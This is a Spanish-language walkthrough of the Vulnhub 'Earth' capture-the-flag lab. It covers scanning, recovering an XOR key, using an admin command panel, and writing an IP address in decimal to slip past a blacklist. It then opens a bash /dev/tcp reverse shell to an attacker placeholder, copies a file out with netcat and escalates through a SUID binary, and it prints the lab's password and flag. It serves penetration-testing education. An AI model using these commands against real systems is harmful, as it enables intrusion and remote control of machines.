WALKTHROUGH

FASE INICIAL

Empezamos descargando la máquina desde Vulnhub, una vez descargada lo que haremos será importarla en VirtualBox/VMWare/UTM o similares, la inicializamos y nos pasamos a nuestra máquina Kali linux.

Una vez en la máquina Kali, abrimos la terminal y con un **arp-scan -I eth0 --localnet** escaneamos nuestra red. (Tenemos que tener en cuenta que ambas máquinas deben tener configuradas las redes con tipo Bridged*). Veremos que aparecerán varias direcciones IP, nos quedaremos con aquella que esté en la misma máquina virtual que nosotros.

Una vez conocida la IP de la máquina “víctima”, haremos un ping para verificar la conectividad, esto además nos dará información sobre qué tipo de máquina es gracias al TTL*. Vemos que TTL = 64, por lo que es una máquina Linux.

FASE DE ESCANEO

Usaremos la herramienta nmap* y realizaremos un escaneo de todos los puerto con el siguiente comando:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IpMaquinaVictima -oG nombreFichero

Con este comando indicamos que, usando nmap, queremos escanear los todos los puertos existentes (-p-), de entre estos, descubrir solamente los que estén abiertos (--open), con el tipo de escaneo TCP SYN port Scan (-sS)*, indicando que quieres tramitar paquetes no más lentos que 5000 paquetes por segundo (--min-rate 5000), con triple verbose (-vvv) para que a medida que vaya detectando puertos abiertos los vaya reportando por consola, que no aplique resolución DNS (-n), ya que ralentiza el escaneo, desactivaremos la detección de hosts, asumiendo que este está activo, ya que el ping anterior ha sido exitoso (-Pn), y lo exportaremos en formato grepeable (formato que permite filtrar con Regex) al fichero correspondiente (-oG).

(Esta configuración permite un escaneo rápido, sigiloso y violento que no detecta falsos positivos/negativos.)

Cuando ha finalizado nuestro escaneo, mostramos el contenido que nos ha reportado con cat nombreFichero y vemos que tenemos los puertos 22,80 y 443, que corresponden al servicio ssh, el http y el https correspondientemente.

También con nmap, una vez descubiertos los puertos abiertos, vamos a realizar un escaneo más exhaustivo con: **nmap -sCV -p22,80,443 ipMaquinaVictima -oN nombreFichero**

Donde el parámetro -sCV es la combinación de -sC que activa los scripts predeterminados de nmap y -sV realiza detección de versiones de los servicios que hay corriendo en los puertos indicados.

Una vez realizado este último escaneo, mostramos el contenido del archivo y obtenemos información que nos resultará de mucha utilidad.

Contemplamos que en el puerto 80 está corriendo un servidor Apache, que la máquina es Fedora, vemos también que en el puerto 443 puede estar aplicándose "virtual hosting*", ya que tenemos dos campos DNS que nos indican dos rutas diferentes que pueden estar compartiendo la misma IP pero albergando webs diferentes.

Como no tenemos mucha información relevante de momento, continuamos escaneando con nmap, en este caso lanzaremos un script muy común (http-enum), que aplica Fuzzing* con un pequeño diccionario que busca rutas existentes usando el método de fuerza bruta*.
Lo aplicaremos sobre los dos puertos que tienen un servicio web (80 y 443), con el siguiente comando: **nmap --script http-enum -p80,443 ipMaquinaVictima -oN nombreArchivo**

Como hemos comentado anteriormente, sabemos que tenemos dos campos DNS con dos nombres diferentes, sin embargo, si tratamos de conectarnos a alguna de esas direcciones, nuestra máquina no "sabe" a dónde dirigirte, para solucionar esto tendríamos que abrir nuestro archivo /etc/hosts y añadir: **ipMaquinaVictima nombreDNS**

De este modo cuando hagamos referencia al nombreDNS, se nos redirigirá a la ip asignada. (Para comprobar si ha funcionado correctamente podríamos lanzar un ping a ese DNS).

El escaneo realizado segundos antes nos ha reportado solamente una ruta "**/icons/**" para ambos puertos, por lo que vamos a aplicar "**whatweb ipMaquinaVictima**"*, lo que nos muestra lo siguiente:

"**http://192.168.1.35 [400 Bad Request] Apache[2.4.51][mod_wsgi/4.7.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Fedora Linux][Apache/2.4.51 (Fedora) OpenSSL/1.1.1l mod_wsgi/4.7.1 Python/3.9], IP[192.168.1.35], OpenSSL[1.1.1l], Python[3.9], Title[Bad Request (400)], UncommonHeaders[x-content-type-options,referrer-policy]**"

Cosas que pueden ser importantes: La versión de python, el hecho de que sea un sistema Fedora y que está corriendo un Apache (aunque eso ya lo sabíamos).

Una cosa interesante que podemos hacer es volver a realizar el escaneo de los puertos http/https ahora que hemos añadido las redirecciones de sus DNS a la ip correspondiente. Una vez hecho esto, vemos que, efectivamente, ahora nos aparece un nuevo directorio "**/admin/**".

FASE DE PROFUNDIZACIÓN

Para la fase de profundización vamos a intentar entrar a la pagina que nos ofrece la ip de la máquina víctima. Obtenemos tanto con http://ipMaquinaVictima como con https://ipMaquinaVictima el estado "**Bad Request (400)**", por lo que probamos con los DNS que hemos obtenido anteriormente (earth.local y terratest.earth.local) y vemos que en el primero de ellos accedemos a una página un tanto extraña que permite "enviar mensaje a la tierra". En esta página encontramos un cuadro de texto para escribir un mensaje, otro para escribir la "clave del mensaje" y un botón para enviarlo, además de mensajes anteriores codificados (aparentemente en hexadecimal).

Si probamos a enviar mensajes, vemos que se van añadiendo nuevas cadenas de texto a la sección de "Previous Messages", por lo que parece que está añadiendo nuestros mensajes. Para confirmar si efectivamente está codificando los mensajes a hexadecimal, vamos a usar "**xxd**".

Vemos que resulta no ser hexadecimal, sino que aplica una conversión cualquiera, por lo que exploramos otras opciones.

Un posible método para encriptar los mensajes es aplicar un XOR (operación lógica que, en el contexto de la codificación de mensajes, se utiliza para cifrar y descifrar datos mediante una clave), donde => mensaje XOR key = mensajeCifrado. Por lo que para revertirlo tendríamos que aplicar => mensaje XOR mensajeCifrado = key.

Como tenemos tanto el mensaje, como la clave, como el mensaje cifrado, podemos comprobar si efectivamente se está aplicando esto, para ello vamos a ir a la página "**CyberChef**", que permite aplicar a un input XOR y luego convertir el resultado en hexadecimal. Haciendo esto vemos que el output que nos reporta Cyber chef, es el mismo que el mensaje que se añade a la web. Ahora tenemos que hacer lo inverso, por lo que convertimos nuestro mensaje de nuevo con XOR y ahora el output es, efectivamente, la clave que habíamos puesto.

A partir de ahora lo primero que se nos ocurre es tratar de descifrar los mensajes por defecto que nos aparecían al abrir la página por primera vez. Para ello vamos a indicarle que el mensaje está de primeras en hexadecimal, pero como no conocemos la key, de momento no podemos saber cual es el mensaje que se ha cifrado.

Dejamos un poco apartado lo anterior y tratamos de buscar otras vías o la posible key que se haya podido estar usando para los mensajes. Entramos en el segundo DNS que nos habíamos encontrado en la fase de escaneo y vemos que nos dice "**Test site, please ignore.**", si dentro de esta web intentamos acceder a la ruta "**https://nombreDNS/robots.txt**"*. Al tratar de ir a esta ruta vemos posibles rutas, de entre las que destaca "**/testingnotes.***" (en este caso el * no hace referencia a ninguna parte del archivo de definiciones), como vemos, podemos intentar buscar posibles extensiones válidas, para ello usaremos "**wfuzz**"* con el comando: "**wfuzz -c --hc=404 -t 200 -z list,ListaDeExtensionesAProbarSeparadasPorGuiones https://nombreDNS/nombreRutaEncontrada.FUZZ** "

Donde - -hac=404 indica que no queremos que nos muestre las extensiones que prueba que devuelvan el código 404 (Not Found), -t es el número de hilos que vamos a emplear para esta tarea y FUZZ es donde wfuzz va a colocar todas las extensiones que le hemos indicado en la lista.
Al ejecutar esto nos devuelve una línea con una extensión concreta que ha reportado un código de estado 200, lo cual significa que es una extensión válida. Esta extensión es la "**txt**", por lo que si ahora probamos a visitar la ruta "**https://nombreDNS/testingnotes.TXT**"

Encontramos el siguiente texto:

"**Testing secure messaging system notes:**
***Using XOR encryption as the algorithm, should be safe as used in RSA.**
***Earth has confirmed they have received our sent messages.**
***testdata.txt was used to test encryption.**
***terra used as username for admin portal.**
Todo:
***How do we send our monthly keys to Earth securely? Or should we change keys weekly?**
***Need to test different key lengths to protect against brute force. How long should the key be?**
***Need to improve the interface of the messaging interface and the admin panel, it's currently very basic.**"

En este mensaje nos indican que efectivamente se está usando XOR para encriptar los mensajes, por lo que si no hubiéramos llegado a esa conclusión anteriormente, podríamos haberlo descubierto gracias a esto. También vemos algo curioso, y es que nos comentan que "**terra**" ha sido usado como username para el portal de admin, que puede corresponder con el "**/admin/**" que hemos encontrado cuando buscábamos posibles rutas. Entramos en la ruta "**https://nombreDNS/admin**" y vemos un panel de login, para el cual sabemos que el usuario es "terra".

Como nos dicen que "**testdata.txt**" ha sido encriptado con ese método, buscamos mediante "**https://nombreDNS/testdata.txt**" si existe este archivo y nos reporta lo siguiente:
"**According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.**"

Podemos pensar que este texto puede ser el mensaje original que da lugar a uno de los mensajes encriptados que teníamos en la página inicial, por lo que lo comprobamos, si esto fuera así podemos sacar la key, ya que tenemos el mensaje cifrado y el mensaje en texto claro. Probamos a hacer esto y el output que nos da cyber chef es "**earthclimatechangebad4humans**" así que la key que se usó para cifrar ese mensaje fue justo esa que hemos obtenido, puesto que en el mensaje anterior habla sobre cambiar las keys que se utilizan, vamos a probar a ver si en el panel de login que teníamos antes esta clave sirve como contraseña.

Usamos “**terra**” como username y “**earthclimatechangebad4humans**” como password y nos loguea correctamente, dándonos acceso a una página que nos dice:
“**Welcome terra, run your CLI command on Earth Messaging Machine (use with care).**” y nos da un campo de texto donde podemos realizar comandos de terminal. Probamos con “**whoami**” y nos devuelve el nombre del usuario que tenemos por lo que efectivamente, podemos hacer comandos en la máquina víctima desde aquí. Esto nos da una gran cantidad de posibilidades como intentar entablar una “reverse shell”*, poniéndonos en escucha con “netcat”* por el puerto 443 con el comando “**nc -nlvp 443**”. Enviamos el comando
“**bash -i >& /dev/tcp/ipMaquinaAtacante/443 0>&1**” a la terminal remota que nos da la página, pero nos dice “**Remote connections are forbidden.**” por lo que, al parecer, están prohibiéndonos mediante una “black list” ejecutar comandos que contengan direcciones ip (probablemente con regex). Debido a esto, podemos cambiar la ip, de formato ip a formato decimal (podría ser binario, hexadecimal, etc) para intentar burlar esta blacklist que mencionábamos.

Pasamos nuestra ip en este caso a decimal y volvemos a enviar el comando anterior “**bash -i >& /dev/tcp/ipMaquinaAtacanteEnDecimal/443 0>&1**” y ahora si, nos da acceso en nuestra terminal a una “reverse shell”. En este caso no estamos ante una “TTY”, por lo que tendríamos que hacer un tratamiento (esto ayudará a que si hacemos CTRL + C no nos eche de la reverse shell), para ello haremos “**script /dev/null -c bash**”, luego un CTRL + Z, y una vez hecho esto hacemos “**stty raw -echo; fg**”. Esto es un tratamiento básico que haremos en prácticamente todas las máquinas que resolvamos. Una vez hecho esto, haremos “**reset xterm**” para volver a tener la shell que teníamos.

FASE DE ESCALADO DE PRIVILEGIOS

Para la fase de escalado, primero investigamos por los directorios disponibles en busca de pistas o cosas que nos puedan llamar la atención. Buscamos desde la raíz, archivos con privilegios SUID con el comando “**find / -perm -4000 -ls 2>/dev/null**” y vemos un archivo extraño llamado “**/usr/bin/reset_root**” cuyo propietario es root, entonces si ejecuto esto podría ser root temporalmente. Al ejecutarlo me muestra

“**CHECKING IF RESET TRIGGERS PRESENT...**
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.”

Me paso este binario a mi máquina atacante para analizarlo mejor con “**nc -nlvp 443 > reset_root**” y hago “**nc ipMaquinaAtacante 443 < /usr/bin/reset_root**” y ya lo tenemos, con “file” vemos que es un binario de 64 bits y con “ltrace” vemos lo siguiente: “
puts("CHECKING IF RESET TRIGGERS PRESE"... CHECKING IF RESET TRIGGERS PRESENT...
= 38
access("/dev/shm/kHgTFI5G", 0)
access ("/dev/shm/Zw7bV9U5"
access("/tmp/kcM0Wewe"

, 0)
puts("RESET FAILED, ALL TRIGGERS ARE N"... RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.)
= 44
+++ exited (status 0) +++”

Y vemos que intenta acceder a esos tres directorios. Con mkdir creo esos directorios y ejecuto de nuevo el binario. En este caso nos muestra esto:
“**CHECKING IF RESET TRIGGERS PRESENT...**
RESET TRIGGERS ARE PRESENT, RESETTING ROOT PASSWORD TO: Earth” por lo que ya sabemos que la contraseña del usuario root de la máquina víctima es “**Earth**”, nos convertimos en el usuario root con “**su root**” y accedemos al directorio “**root**” donde encontramos un archivo llamado “**root flag.txt**”, mostramos su contenido y obtenemos la flag “**root_flag_b0da9554d29db2117b02aa8b66ec492e**” que indica que hemos resuelto el problema.

Contenido de apoyo:

S4VITAR
Medium
Pete on software

Leyenda:

Comandos usados
Referencias a la máquina víctima
Passwords
Flags obtenidas
Las palabras con * están definidas en el documento de definiciones